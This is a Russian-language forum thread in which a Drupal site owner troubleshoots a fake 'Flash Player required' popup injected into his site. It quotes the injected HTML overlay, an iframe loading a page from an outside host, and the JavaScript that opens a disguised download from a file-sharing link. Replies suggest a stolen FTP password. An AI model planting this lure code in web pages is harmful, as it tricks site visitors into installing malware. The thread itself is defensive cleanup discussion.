Захожу в админку drupal, а там всплывающее окно вот такое. Ядро вроде 7.23. До этого каждый день недели две присылало уведомление, что нужно обновить ядро. Скачал 7.24, а ничего поставить не могу - висит эта гадость.
Подскажите пожалуйста, как с этим бороться.
Комментарии
Ну выясни что требует флеш плеер.
Потом где оно прописано.
Куда ведут ссылки download?
Вот такое по ссылке - http://pastebin.com/hjxBuMfP
Вы мне щас просто текст ссылки скопировали?
Вот такой он у вас?
Вот полный код этой гадости, разобрался, как вставлять.
<link href="hint.css" rel="stylesheet">
<div id="gw_frame_main">
<div align="center" style="margin:0px;">
<div id="gw_header">
Flash Player required for this website, click
<strong style="color:#e10000;">DOWNLOAD NOW</strong>
</div>
<div id="gw_instructions" class="instructions" style="margin-left:45px; margin-right:45px;">
<center>
<br>
<br>
<br>
<br>
</div>
<div id="gw_content">
<div id="gw_offers" style="display: block;">
<div id="offer_container">
<div class="gw_offer">
<a class="offerlink hint--bottom hint--rounded" data-hint="Please install Flash Player to display this website properly" onclick="javascript:openoffer(14247,'gw_offers'); return false;" href="http:///">DOWNLOAD NOW!</a>
</div>
<div class="gw_offer">
<a class="offerlink hint--bottom hint--rounded" data-hint="Please install Flash Player to display this website properly" onclick="javascript:openoffer(12370,'gw_offers'); return false;" href="http:///">DOWNLOAD NOW! (Mirror #2)</a>
</div>
<div class="gw_offer">
<a class="offerlink hint--bottom hint--rounded" data-hint="Please install Flash Player to display this website properly" onclick="javascript:openoffer(19202,'gw_offers'); return false;" href="http:///">DOWNLOAD NOW! (Mirror #3)</a>
</div>
</div>
</div>
<div id="divWait" style="display:none;">
<div style="height:190px;width:420px;z-index:1999007;text-align:left;overflow:hidden;padding-top:1px;">
</div>
</div>
</div>
</div>
Нашел выше вот этот код. Ссылку на этот сайт я уже находил.
<iframe id="gw_iframe" height="335" frameborder="0" width="630" scrollbars="no" style="overflow: hidden; background-color: transparent; z-index: 1999005;" allowtransparency="true" src="http://super-cenu-com-ua.1gb.ua/img/gwframe.html">
А я вот такую ссылку нашел https://userscripts.org/scripts/review/177252
Скорей всего угнан пароль от FTP. Меняйте его и ищите в каком файле эта дрянь лежит. Проверь index.php и файлы шаблонов.
Вот эта лабутня отработается при клике на download, тоесть https://skydrive.live.com/download.aspx
if (offerid == 14247) {
newwindow = window.open("https://skydrive.live.com/download.aspx?cid=66792c5633abd99e&resid=66792..., '_blank');
//newwindow = window.open("../../landers2/VIO_Player.htm", '_blank');
}
if (offerid == 12370) {
newwindow = window.open("https://skydrive.live.com/download.aspx?cid=66792c5633abd99e&resid=66792..., '_blank');
//newwindow = window.open("../../landers2/VIO_Player.htm", '_blank');
}
if (offerid == 19202) {
newwindow = window.open("https://skydrive.live.com/download.aspx?cid=66792c5633abd99e&resid=66792..., '_blank');
//newwindow = window.open("../../landers2/VIO_Player.htm", '_blank');
}
document.getElementById(fromtab).style.display = 'none';
document.getElementById('spnChecking').innerHTML = 'Checking for Installation...';
document.getElementById('divWait').style.display = 'block';
tab = fromtab;
check = 1;
changeCheck();
if (window.focus) {
newwindow.focus();
}
}
Да, сейчас разгребаю, куча зараженных файлов, удаляю, чищу, пароль на FTP поменял. Сволочи, блин.